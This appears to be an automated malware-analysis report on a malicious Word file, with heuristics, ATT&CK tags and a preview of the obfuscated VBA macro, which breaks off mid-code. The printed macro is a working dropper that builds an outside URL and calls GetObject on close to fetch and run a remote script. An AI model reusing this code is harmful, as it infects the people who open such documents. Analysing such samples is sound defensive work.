MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a malicious Office document containing a VBA macro that is triggered by the AutoClose event. The macro is heavily obfuscated but the presence of Auto_Close and GetObject calls, along with the ClamAV detection signature 'Doc.Dropper.Agent-6582494-0', strongly indicates that this macro is intended to download and execute a second-stage payload. The primary attack pattern is likely spearphishing attachment, leading to macro execution.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6582494-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6582494-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Attribute VB_Customizable = True Sub AutoClose() vEKiaoBeVIcatYFInuT = "bAiDilOtOxetPIi" -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
kAZevYNELUhyp = RTrim(RTrim(XAJayXuZuJikiaiH)) VBA.GetObject (kAZevYNELUhyp) & LTrim(LTrim("")) ViHIWAVUi = Val("27531") & "xoHApEmAZANIS" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 26532 bytes |
SHA-256: 50b7de9920a3bc42d0daca3db8a03f993b49adc0f694199ad56f7872ad5ebc32 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
vEKiaoBeVIcatYFInuT = "bAiDilOtOxetPIi"
gEpiRIHYJEzAldT = 67867
tAzYLYSYSa = "tAsycovOhnO"
zIzeiAceSuViReRLaN = "gUyMIqcaQOXucEceT"
On Error Resume Next
cOniLxOBOzYqAai = "XiElTalajiNeCep"
WYZAOzUWqiah = Val("11663") & "sYpyaIFiCyduFacaqi"
Dim ZUZAgomIB
For ZUZAgomIB = 8 To 11
Dim dIcItIVELSeNoVaa
dIcItIVELSeNoVaa = Fix(89690)
Next
Dim jaPUqezoUtIhoTunivI
For jaPUqezoUtIhoTunivI = 6 To 10
Dim DOKevOJbaaO
DOKevOJbaaO = Fix(32122)
Next
Dim rAVYSOQIr
Dim HAHUgIaiGEJuXAz
For HAHUgIaiGEJuXAz = 3 To 10
Dim HIleRIpEwItYLaZEkyRh
HIleRIpEwItYLaZEkyRh = Fix(16665)
Next
Dim dOGeloqaZalOqaMuCazis
dOGeloqaZalOqaMuCazis = 95636
MIdAXTOdyRoHyNOgAz = "puWOtaLyCOjiMEaESunYk"
rAVYSOQIr = 23987
Dim valytOhUwojugpeCYL
valytOhUwojugpeCYL = 6600
GubENuruxUmyi = 96651
MIwYvYpaae = "HauPISOnoxgEfyJyMoQO"
XOTaXIaUMiMUkutYDU = "GoBuzIPENUwuBHulYTeN"
Dim GaOtyovytyTYV
For GaOtyovytyTYV = 0 To 12
Dim vIxyKEmiGenaG
vIxyKEmiGenaG = Fix(26732)
Next
Dim wOrUNinAcauv
wOrUNinAcauv = 73723
Dim MaBiHohICyc
For MaBiHohICyc = 5 To 11
SAbeQEKYMe = 80826
Dim nuHedAljAkO
nuHedAljAkO = Fix(83383)
BAoHAkYDOzeKejPO = "phECYNiroXApYf"
TOguKYVoqiaUz = 15039
Next
LyqvYBuiiAbUR = "HizyqALUnUPoCUtAf"
Dim ZOhaAZAcIqocUC
ZOhaAZAcIqocUC = 38449
Dim hyXOqOciWoRyDysOkIF
hyXOqOciWoRyDysOkIF = 16191
Dim bAKacylEqoHiwybuViXYL
For bAKacylEqoHiwybuViXYL = 8 To 13
Dim GiwwaJaBnm
GiwwaJaBnm = Fix(8607)
Next
Dim BIKaJyDuCU
For BIKaJyDuCU = 6 To 12
Dim leGybyVoheL
For leGybyVoheL = 0 To 13
Dim MIZAbaqacEtEw
MIZAbaqacEtEw = Fix(1392)
Next
Dim kafUiaWi
kafUiaWi = 86799
Dim aYmIDepUceTuWOxagai
Dim WiCYBafinOnEV
WiCYBafinOnEV = 82360
Dim riwaKEholITeValAWUmA
For riwaKEholITeValAWUmA = 7 To 11
Dim CAQOkowiGehuXYnsuGuX
CAQOkowiGehuXYnsuGuX = Fix(80579)
Next
Dim mIgYxEQEnOHehomisE
mIgYxEQEnOHehomisE = 28993
aYmIDepUceTuWOxagai = Fix(350)
Dim BICiGaTAgiHYiUViaOfAQ
BICiGaTAgiHYiUViaOfAQ = 60791
Next
Dim dOBojIMOKIoParElaiAl
For dOBojIMOKIoParElaiAl = 2 To 13
Dim JIhtYXENiXaje
RyWExANOroxIHYbygACy = "HakUlaHawAXypwOHYaI"
JIhtYXENiXaje = Fix(80669)
Dim BUROhYkebuB
BUROhYkebuB = 93685
Dim REgivIsoDikixETog
For REgivIsoDikixETog = 5 To 13
Dim mOWUzeSYqEmik
mOWUzeSYqEmik = Fix(63867)
Next
Next
aQIbABUTir = 54056
Dim DEPETytOhuCE
Dim gOaUrOciKIiUNuaoPODA
gOaUrOciKIiUNuaoPODA = 43275
Dim NILAQoVosoDAgIUHAb
NILAQoVosoDAgIUHAb = 53010
DEPETytOhuCE = 11123
Dim fUgITUHW
For fUgITUHW = 5 To 10
Dim QuSIfUGEgAcyVoi
QuSIfUGEgAcyVoi = Fix(10438)
Next
Dim riwyHYCuxYR
For riwyHYCuxYR = 5 To 12
Dim giiAvfUXOMAWYme
giiAvfUXOMAWYme = Fix(97343)
Next
LOquMySIRIQAra = Val("44534") & "iyRymUUZeDk"
aovEXEWaLalUpYiiL = "rezoGeJo"
Dim xEFuQEraIk
For xEFuQEraIk = 7 To 12
Dim GefOgpOjogolOH
GefOgpOjogolOH = Fix(94131)
Next
HifKACeh = Val("61751") & "vefUrkOda"
Dim sROdaTuJyQicU
For sROdaTuJyQicU = 0 To 10
Dim TYPafEqOlihYtUL
mAQYNyCAG = 46169
Dim cIcARuXiOmatuaYgus
cIcARuXiOmatuaYgus = 87267
TYPafEqOlihYtUL = Fix(51334)
Next
lOnaPOheWepAZIgot = "QAFEfyNicia"
XAJayXuZuJikiaiH = StrReverse("")
zYiySUFAJywUxiLI = 12482
LOpoByPIKuW = Val("3712") & "cibABugyBYvEmaPoMy"
Dim AkoJESUWuMikYCE
For AkoJESUWuMikYCE = 0 To 10
Dim NALOHuDAZ
NALOHuDAZ = Fix(10568)
maDAcYmABIxuQiZ = Val("36125") & "ResIgoGPESaN"
Dim SNEfIZAcyDezylAXuFe
SNEfIZAcyDezylAXuFe = 92649
GuaEkovOpubYsamEHoKO = "PaCigEjYNIdu"
Next
tiXOhiLibADe = Val("26084") & "CeJyNziS"
Dim KUQILARyAvUGUHeiiZobe
For KUQILARyAvUGUHeiiZobe = 9 To 10
Dim QuZUXEXpAlaQagiFaad
QuZUXEXpAlaQagiFaad = Fix(4116)
Next
QaJYnEjoQEdoDelu = "fytuFYFfE"
Dim KEloNECuMiXoVAjilEcE
For KEloNECuMiXoVAjilEcE = 9 To 10
Dim FazypImexyFaRykYaEro
FazypImexyFaRykYaEro = Fix(60784)
Next
Dim GeveiUxERegeDUDUhecy
GeveiUxERegeDUDUhecy = 7886
Dim ZIvepEiYHEqExaZO
For ZIvepEiYHEqExaZO = 0 To 13
Dim GiXAbOBoPUfQYao
GiXAbOBoPUfQYao = 74260
Dim VUBepOHotilOp
For VUBepOHotilOp = 10 To 11
Dim WoDUpEZACOVYVoLoHOr
WoDUpEZACOVYVoLoHOr = Fix(79886)
Next
Dim hylIGUMOz
viiCUMomyNuWaMEVefIvO = Val("68338") & "potIniJUdUva"
Dim TEMOfeXEsUiybUgu
TEMOfeXEsUiybUgu = 67321
hylIGUMOz = Fix(83696)
menuMadUauByTON = Val("93780") & "DuGadIaItUv"
pUTOLapUTARAQiGeaiiINI = Val("14714") & "jeseHATAwaF"
Next
XYXaJafUni = 6229
Dim DiqIioMJakATIB
For DiqIioMJakATIB = 3 To 12
Dim vABpaRyLAfvyD
vABpaRyLAfvyD = Fix(12509)
Next
xolyibUdEaZseSEj = Val("21871") & "wUTOMoKImEhIi"
qUqyLatyGAgisY = "vEmIqExAXOnEFuJabA"
nATUzUHUKOTOmoPUNuqUa = "lyquQrUhvuQyDoTUdAVO"
vEreJuJYhUCeBYvIDItu = "naJIkykEqAx"
jIiOpApinOiUVaiAs = "GOLIDeQyqoMElIaUciPEnu"
SIaufiiaMOVaA = "nYPoruboroFiKESuROtoT"
Dim PEzEtyiIWIkA
PEzEtyiIWIkA = 55953
VUDyaogaWIXul = 17527
kEzoTMUreTEcuTYkIfY = "hojikiiitORyR"
QMeloLorYFoFIz = "gajPYvagabY"
QUHIhUjoPeFO = 94813
sYroZuwYVETelYvzy = "UpiSUhYio"
FUziaAqatYx = "CaroDaEwYmEtuVYr"
Dim lEMyviwAbEgOniLEFeze
lEMyviwAbEgOniLEFeze = 96735
qUrEvoxDOGeT = "HAwuhdAbUR"
Dim cyrigUpIKyQYMuziaj
For cyrigUpIKyQYMuziaj = 4 To 13
Dim XiVucyxEtOGo
wIjOtoTivybaNIieHU = 15929
VUTEJYXALuqUdp = Val("22157") & "RACiKyqyjiZAJyRAsO"
XiVucyxEtOGo = Fix(87160)
Dim pAfusEtIDcIkaQubyNiH
pAfusEtIDcIkaQubyNiH = 87687
Next
leCUwxOaoBOdIDohEwUjo = Val("29676") & "dYpoDozYkINOGihUHOXo"
SOFABydiCAbzywUHykaFY = 22341
fOnOHeJogUmEVeaOpoIZ = "moQobAPuDYkEjIRUv"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((106 + 212) = 318, "sc", "Mmia")
Dim XuaexatonadiiExety
For XuaexatonadiiExety = 0 To 10
Dim NoTocUXeXEqIkEpPYG
NoTocUXeXEqIkEpPYG = Fix(97346)
Next
Dim CYifavAZI
Dim DIMeLunUqyHAXOh
DIMeLunUqyHAXOh = 33013
For CYifavAZI = 9 To 11
Dim DOciDucAlAXYBnyz
AMHeKyVAbIZomuV = Val("12774") & "nApIGitYsUpUxEtat"
DOciDucAlAXYBnyz = Fix(77830)
Next
Dim pDidamSeButpyx
For pDidamSeButpyx = 7 To 12
Dim kurocopoGUJUceqOvuSoD
kurocopoGUJUceqOvuSoD = Fix(45083)
Next
Dim SEaZEJUQOfYZUn
SEaZEJUQOfYZUn = 51109
PIbaRYQcaCyluNEiEd = 52958
RUkoLDOTITeVip = Val("98662") & "PeMyXOZAbO"
Dim sYParEayWnifaq
sYParEayWnifaq = 18863
bumoaUlYf = 86137
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((37 + 74) = 111, "ri", "EU")
PuBarUCiwY = "SAcOGAZiBAWUGe"
giHyFalTip = 4071
Dim vErAPYLei
For vErAPYLei = 6 To 11
Dim tyiUtokUGOvoa
tyiUtokUGOvoa = Fix(9213)
Next
Dim SosuRApAHqOjy
For SosuRApAHqOjy = 2 To 12
Dim JIMAbaMeGOsInoja
JIMAbaMeGOsInoja = Fix(96834)
Next
Dim eaUNyMaa
eaUNyMaa = 40504
Dim kumAWoMUZy
For kumAWoMUZy = 7 To 10
Dim MEKUiaBAbyWexyrAZ
Dim GIUkEkKuXOXINyXKa
For GIUkEkKuXOXINyXKa = 7 To 10
Dim UKemETyvYxEDatOVulPe
UKemETyvYxEDatOVulPe = Fix(64477)
Next
aAZoSODuMUtIDYtEb = 61516
MEKUiaBAbyWexyrAZ = Fix(9259)
Dim NUPOVywYtqIVymRYsA
NUPOVywYtqIVymRYsA = 50035
Next
Dim lyqYzEBUB
GUNUloIDQAL = 62654
Dim CHUPonykECodESuCYZYno
CHUPonykECodESuCYZYno = 42312
lyqYzEBUB = 53503
nYSYWyiIRUmYBYcu = 54904
nUvULEzofuqe = Val("64857") & "QAVYiApeFUnutEFARiv"
riPEseiihAKAC = "DeHENebaxU"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((209 + 418) = 627, "pt", "tIztL")
Dim PoJADCOLUZE
For PoJADCOLUZE = 2 To 13
Dim tiMaGOXACeGAGUS
tiMaGOXACeGAGUS = Fix(56927)
Next
baxusYVaHyWO = Val("51470") & "WyQVEGIXeiAFAg"
FoGUHUhIxiDEdYLbIp = Val("30728") & "LAHuQaSYP"
Dim KEnYbEsyVIPs
KEnYbEsyVIPs = 28663
ZOXPoboXOXEpofytYVUsy = 36139
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((298 + 596) = 894, ":h", "sf")
LGuZETACzuQcEzuXA = 67478
dIvIXnuwifUX = 48248
kYkOjufAv = 13405
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((301 + 602) = 903, "tt", "wCEKf")
hojaWiepyqocAXOvovU = Val("55565") & "WuricaYGiSiqAgINeha"
POcEbiNUgEpAxyvYw = 94849
Dim TIruDupeh
For TIruDupeh = 7 To 10
Dim iabOkiqIKOBOzUroHeKIz
iabOkiqIKOBOzUroHeKIz = Fix(27137)
Next
LiRajASanaZigi = 95278
Dim TuTewfEk
For TuTewfEk = 6 To 12
Dim QuViBOzYRjeNDSAB
QuViBOzYRjeNDSAB = Fix(29778)
Next
NuHAHeHatOietYdEFuq = 21392
KyryvALohidarUsF = "doHiigAvuZEWuVicOKImI"
Dim bAiYjajyQISIzsILri
For bAiYjajyQISIzsILri = 10 To 10
Dim kYwyROLUT
kYwyROLUT = Fix(4362)
Next
bEwYvUmYwEJaKHICodI = "JaMybeJoSYNIKaJi"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((181 + 362) = 543, "p:", "F6mhg")
iiWOlYqofOry = "ZIauPYwaPydIqAVa"
sATUMuZiNuVUMIjIMECIz = 69299
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((246 + 492) = 738, "//", "TR")
Dim wEfyTIki
wEfyTIki = 33306
cOSyhIcecETOruXIXI = 69650
cejuqoWiG = Val("6672") & "wegYbYTecaTuS"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((272 + 544) = 816, "gi", "1c")
Dim XeVokisEXIeSiFuiPy
XeVokisEXIeSiFuiPy = 56648
Dim vIGulwIWuBiDYdacu
vIGulwIWuBiDYdacu = 55990
Dim WucYpAQAmAkuritb
WucYpAQAmAkuritb = 48860
Dim neMaruFUqHISA
neMaruFUqHISA = 84835
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((112 + 224) = 336, "pq", "boBn")
Dim JUlAcyxaRatA
For JUlAcyxaRatA = 8 To 11
Dim mISVEjenAnoSYvoFyR
mISVEjenAnoSYvoFyR = Fix(82079)
Next
Dim PYHApYmYlUqURaDubO
PYHApYmYlUqURaDubO = 88358
xuToLyjEQUxuSOcImIb = "pawOdoCIcEGjIMuwuzaD"
Dim DeXYlYpJejO
DeXYlYpJejO = 29463
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((310 + 620) = 930, "jw", "M9L")
MEZOxuJZyQ = Val("48733") & "uqumQUFUJPakJo"
Dim xYveSoKyK
xYveSoKyK = 42772
Dim WIaUFyiuWePolaQOTi
WIaUFyiuWePolaQOTi = 49081
kEgiVeQEFErcidEaUX = "FaVAlDoDasyNAPohyL"
Dim VuxePynIde
For VuxePynIde = 4 To 12
Dim BUfuvePejUxEjI
BUfuvePejUxEjI = Fix(94898)
Next
beQAHepoPimEtuq = "GErysEXONEKovUPowUVIWu"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((331 + 662) = 993, "od", "0x")
aozeMAcimoVm = Val("13069") & "fORIWUZiWUWIWIWEPUM"
hiTebYJuGIKabudOJ = "MaiiHOJAcuDgYXAQO"
Dim gUXADuTIayZibEp
For gUXADuTIayZibEp = 8 To 13
Dim QsyPEMGyiYfea
QsyPEMGyiYfea = Fix(55320)
Dim mYqYZILItoBocat
For mYqYZILItoBocat = 6 To 12
Dim xOVYKeXePyQymYzAjIGy
xOVYKeXePyQymYzAjIGy = Fix(54925)
Next
heaoboGynakoJUVutAdEM = Val("26756") & "wOQaisUCiSUXAmaZ"
Next
Dim jsivuJyj
Dim QyMOFuKUkeH
QyMOFuKUkeH = 76778
hAkUwiqIGKAFAbIzose = "DiqaEVocATYialYMyaD"
vloMiBatOPOhadODYR = 5989
For jsivuJyj = 1 To 12
Dim wyRiDyLOhYqym
GEBYWIBENieZynORODa = "hAqOwmeQAbysUFY"
wyRiDyLOhYqym = Fix(55065)
Next
rEpATUjezEKUZzAba = 61290
osuqRoaELuXIxixyTy = Val("55092") & "diqOWuDaREfIiehOPf"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((132 + 264) = 396, "ej", "JS")
DyvODaRObY = "NiNEfiiuXizYhO"
Dim zuPUnaZoF
For zuPUnaZoF = 2 To 12
Dim GYCohafOGalorO
GYCohafOGalorO = Fix(8216)
Next
jINAbetQOwEi = 49508
QEzoBekiwoJAGaq = 68701
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((202 + 404) = 606, "wd", "L")
rInOqujaRIDahEN = "vIsEaovOPYquMOBowU"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((160 + 320) = 480, ".c", "Wr")
Dim BoWKuaOLOkUfYRiSokUbe
BoWKuaOLOkUfYRiSokUbe = 4831
Dim qukidiRoJycyxkuxnaWU
Dim COVIXaNUKuQ
For COVIXaNUKuQ = 4 To 13
Dim huqUwEnoCocYviCYa
huqUwEnoCocYviCYa = Fix(1327)
Next
LEqULivOFuDepowOsilErO = "ToPGyDOayP"
qukidiRoJycyxkuxnaWU = 91532
Dim qxUiUCAKYXIn
For qxUiUCAKYXIn = 8 To 11
jetEMUwAToliaOxIXA = Val("39588") & "HkasejUxIfagEFOCe"
Dim HuJERawIhOlA
cavIpYNIma = Val("58340") & "mOxOGOiyguhEwOVuzyda"
JUtUeXAm = "aeCItSyGuW"
Dim zOvYheXEKuFqUhYboBi
For zOvYheXEKuFqUhYboBi = 1 To 10
Dim VaFaqCUzU
VaFaqCUzU = Fix(95700)
Next
HuJERawIhOlA = Fix(96229)
Dim zeaUVuDQocOLUNifErEv
zeaUVuDQocOLUNifErEv = 95182
Dim HUmedAcIDuqeduFEmof
For HUmedAcIDuqeduFEmof = 2 To 13
Dim wUuSOREzeByfEdo
wUuSOREzeByfEdo = Fix(4324)
Next
qOSepeVOiEZUxOaax = 53534
Next
QirodaaTAjo = 94335
Dim fUgEcyriTiPijZID
taHSoQoSvIvuhq = "BotEQizIQIFEbYputEM"
fUgEcyriTiPijZID = 96898
faLYllAbu = Val("94826") & "nudetEheRAFO"
Dim cOnivedmuxy
For cOnivedmuxy = 7 To 11
Dim TEDynObgOD
TEDynObgOD = Fix(63898)
Next
Dim TeGdoTyKirYi
TeGdoTyKirYi = 61581
iotuwoLuLI = 933
nemUrOGunopafoc = 49950
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((59 + 118) = 177, "om", "S")
Dim qiQEkIFiByMO
qiQEkIFiByMO = 21969
tobIMiDoZuvOP = 33921
MysEToleLUjoWigIiIz = 18036
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((212 + 424) = 636, "/c", "G2kI")
Dim kURiBeFitaP
kURiBeFitaP = 29356
talyLuhEgUb = Val("82654") & "QApYgUneKYgIQaRUk"
HTAMoiagirutiaelYE = Val("8343") & "FOZOhaQIXo"
Dim KoSiBaQugyGYmo
KoSiBaQugyGYmo = 1777
mIduRUiAJugOHA = Val("15996") & "SOkyVuxOPuZPA"
Dim fEQaPAQogeoKEg
fEQaPAQogeoKEg = 90045
Dim GYvOPbiSreJUzaHE
GYvOPbiSreJUzaHE = 45925
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((197 + 394) = 591, "ac", "j7tjk")
Dim jOsEmegOcIlymoqokabY
MoRAkuhYDABARuieTi = Val("55241") & "LoXIpulatOiELoKyri"
vOTyJiaUaOBAfUTEq = "KAFyNajATiUvaHYKEFa"
jOsEmegOcIlymoqokabY = 2141
Dim fsEFIDIXAiaNOTEpNOP
TYWIxyDymByL = Val("36276") & "fOMUVEMiNEpYDinan"
kizIaOMySOdU = Val("29541") & "ayLoJesOdaCcAleCaBu"
Dim PYgAkyKyJdYqOComOmaRo
For PYgAkyKyJdYqOComOmaRo = 5 To 10
Dim AvYsyKeq
AvYsyKeq = Fix(17059)
Next
For fsEFIDIXAiaNOTEpNOP = 8 To 11
Dim uieneoqupipE
For uieneoqupipE = 1 To 13
Dim DOqUhYasYbUdICutoOsO
DOqUhYasYbUdICutoOsO = Fix(48546)
Next
Dim NuuNAPejasERUbAgeBe
For NuuNAPejasERUbAgeBe = 2 To 12
Dim TotipUaoTOvYvUhu
TotipUaoTOvYvUhu = Fix(90965)
Next
TIgiDGIVosAbYGUDa = Val("42936") & "gIwyhYCeryKY"
Dim xIJUZyvyp
xIJUZyvyp = Fix(96525)
Next
kovYJypfutApUfIioO = Val("83455") & "kiCaxEdUVoWPiKoDUXu"
kiIWOciJEfeDEfAKyloNA = Val("68971") & "ZAvoJiqky"
meaEpUTAjXENuryFAWYW = "LAFeZyJaROxyloloC"
MecoPyxITAjEjOWavopY = Val("39950") & "xUkYqeJEdeFUNevOi"
loHUhtuXucOboreko = "LAbyQETEVOCiPy"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((221 + 442) = 663, "he", "df2ak")
kiTuBizueBoaaPAHY = Val("29098") & "pISuceVYfUSy"
keDykIBEnIBAtU = "dygaiuxYaYb"
iinILOtAvoRImYQaKYnIP = Val("54502") & "CubyMoLuMA"
Dim nURUlyuwUHUAHyli
Dim POaVAHASAXo
POaVAHASAXo = 14798
For nURUlyuwUHUAHyli = 3 To 11
HoFuXEkyGUD = "JIlYNitAjaXIQAjoC"
Dim TyguCyQiQ
TyguCyQiQ = 99839
Dim FYiUhuSIT
FYiUhuSIT = Fix(77037)
RuFfIfyZEnYCiCAt = 77059
Dim vEkIxxYWUdONOMECOXOia
For vEkIxxYWUdONOMECOXOia = 0 To 13
Dim jyfyxkAcugaFygep
jyfyxkAcugaFygep = Fix(70900)
Next
Next
aOroHojAhemIgIdizvAlE = 49386
VuPoRYmuvYjUGOD = "PEgUDOWOGAJOXybiTas"
GyhUwgoZO = Val("42368") & "WovekOjyBAsFOa"
Dim lyqoxOaoWuCuS
For lyqoxOaoWuCuS = 4 To 13
Dim BeFoJoFIVy
BeFoJoFIVy = Fix(39312)
Next
DIheseniLapEJezOH = "LysYVUusUKujUwaR"
Dim rBiKEmIHAiIg
Dim jkIkuWoH
jkIkuWoH = 4619
Dim DizEaevitzaFwaxo
DizEaevitzaFwaxo = 21061
CaeRyvuzYruP = "VYkadOSyLifUUtkofUk"
For rBiKEmIHAiIg = 0 To 13
Dim VodaTOgiaBea
Dim poQOPIROFyGAny
poQOPIROFyGAny = 73126
Dim KydicyaunYjOaYleTISU
KydicyaunYjOaYleTISU = 27598
Dim kIhOqeVyXaFeVuCe
For kIhOqeVyXaFeVuCe = 10 To 10
Dim qomyQrizusuQeQutA
qomyQrizusuQeQutA = Fix(3455)
Next
VodaTOgiaBea = Fix(26886)
Dim SUqYnOrkiriOKyG
SUqYnOrkiriOKyG = 78378
Next
XYLUBeFUPydiRitau = 6846
Dim pPadutElYMAMUiUFAb
For pPadutElYMAMUiUFAb = 9 To 11
Dim pofEdOzUaOf
pofEdOzUaOf = Fix(6204)
Next
hyZyCebIGynoveduzuB = 75848
Dim tYjEMiRymaZaTigu
Dim lOfURYBysIlejEX
For lOfURYBysIlejEX = 6 To 10
Dim simoDexyliMYL
simoDexyliMYL = Fix(2651)
Next
tYjEMiRymaZaTigu = 56890
bohePIpLiKanaByL = Val("85110") & "woGijuBAhObaauf"
Dim kekiveQeVUJoMUzOa
For kekiveQeVUJoMUzOa = 0 To 11
Dim CodItETXaMiZUsyJ
CodItETXaMiZUsyJ = Fix(87739)
Next
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((127 + 254) = 381, "dm", "dDpg")
SEHOBylUCUVehQugYBoHO = 22722
cuxITiqODAreminExEj = Val("53247") & "DYWAKOsECeiIwAf"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((140 + 280) = 420, "aj", "nNL")
VoaafyTURIaETQaQ = "sAqyxUQoRavIryVUPoWO"
BIgvoJEDOlELUDepuLJe = 70533
aiROcuriduQO = 70900
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((27 + 54) = 81, "so", "c")
MvECALOP = 26782
XYmaQiLiZ = Val("25735") & "qihyaeHevepoWeCYvEDyKA"
HmhAMESoppExaiucORu = "cromafaiImI"
SYRyLUVUW = 23864
LYVoPYxeQofiVAH = "hicaGyJiWY"
Dim qIGuWaQuqeiatoXy
qIGuWaQuqeiatoXy = 81763
Dim mHEkOQojadOb
mHEkOQojadOb = 96944
Dim uJuquRaRaVy
uJuquRaRaVy = 91556
poNETIBHIBimamuY = 59214
Dim XYPiPOLyzuCiMmI
XYPiPOLyzuCiMmI = 21265
kOQAQUgOwYDusY = "FoQUwYFEviqekapeVy"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((280 + 560) = 840, "ea", "g1Gi")
Dim cjCUKyaAL
cjCUKyaAL = 32146
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((0 + 0) = 0, "/i", "7fr")
zoXAWHAkYR = Val("95290") & "tazUgICaxYb"
koPOkJoluPAZu = 13729
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((53 + 106) = 159, "nd", "K")
Dim WuTOclodUscurazE
WuTOclodUscurazE = 43111
Dim SyPALeqaSeSAURUsOc
SyPALeqaSeSAURUsOc = 72441
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((35 + 70) = 105, "ex", "q")
Dim rOQatFifOkEpg
For rOQatFifOkEpg = 8 To 13
Dim CEySUVOLiWunafEf
PnOFeCoha = "WOdiJYDINOiiXNYqYL"
iYnYpyCoP = "fEwAkIGiqPIKI"
CEySUVOLiWunafEf = Fix(16022)
Next
lAGYzOJuxaKYbUDyGoB = "MvivVaI"
TOGEzYQEpYiyqOsuaaD = Val("52216") & "ioGoweWEKOQiRojaVo"
Dim MyjEMBiAJQKysiF
For MyjEMBiAJQKysiF = 2 To 13
Dim kEtIRelIbKiJUnyJeT
kEtIRelIbKiJUnyJeT = Fix(88273)
Next
rAmuKuWAlAfEDILELo = 68810
Dim TaTOvofosIjBYho
TaTOvofosIjBYho = 27702
VEaATYkeF = Val("62404") & "iEPawiTuSEwel"
leTYrEDor = "lydaXutaBOQavuWEnYnX"
faiopejisAtoxagy = Val("98317") & "SUWUbIsuiOzYqe"
gUmaWELOFOL = 31789
Dim JOTIiEfITA
JOTIiEfITA = 43694
jkofyiiqYJOHeLaKIwa = 72715
Dim zUcUMozXyNatOcYdEa
zUcUMozXyNatOcYdEa = 63048
Dim DifoDOvAZInE
For DifoDOvAZInE = 9 To 13
Dim riJoXojECUnecEqu
riJoXojECUnecEqu = Fix(58776)
Next
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((213 + 426) = 639, ".p", "8")
Dim xoBaTiGerO
xoBaTiGerO = 38237
SEGyRabYzoSQUK = "WYguCoUZIdeBUS"
SWytaERULiBUQUj = Val("38464") & "LOSOjeBoWOneN"
deFYZoFOJAxovOrEfIta = 18202
XagESolabOS = "HYVeXIgiiuTuRUWapojuQ"
liqYwejyhD = 19778
mIXiQudaT = "ZuZEinICuvAC"
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((99 + 198) = 297, "hp", "o")
XOLereXUjeFeKimO = Val("71172") & "bUQaGECYqIWiQEGAN"
Dim rUCEiXOWORULelirETugu
For rUCEiXOWORULelirETugu = 5 To 11
Dim PUvPAhaJOmA
PUvPAhaJOmA = Fix(18725)
Next
Dim KAtuRuvijIjy
loJYKUdEjaLavEh = Val("97627") & "tocidylemO"
KAtuRuvijIjy = 67510
Dim KuGiQEdUtUnEBagyJo
KuGiQEdUtUnEBagyJo = 24196
VhuFynesb = "TEQObocYtIaoREiINArE"
rYLiRAkaaKAXEvU = Val("92063") & "QokonOJoGuaoiEkavivuF"
QOFuTyKUzyg = 92140
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((203 + 406) = 609, "?e", "u3HL")
Dim wucuJuZeGyS
For wucuJuZeGyS = 1 To 10
Dim cyyNAtYDawuFWg
cyyNAtYDawuFWg = Fix(89552)
Next
WucibiNYfebakadaLoF = 22416
Dim dYRypituiy
teVIfUiazaXapEt = "zazarACIul"
KyxaZuwiuFINYsIb = "jUSVOjoNAmiac"
For dYRypituiy = 9 To 12
CORurbXUdeb = 35252
RoxoZogiJaAFebodEPaw = 66117
Dim QUhALESuN
QUhALESuN = 26766
Dim LUwygiSiRQiiyn
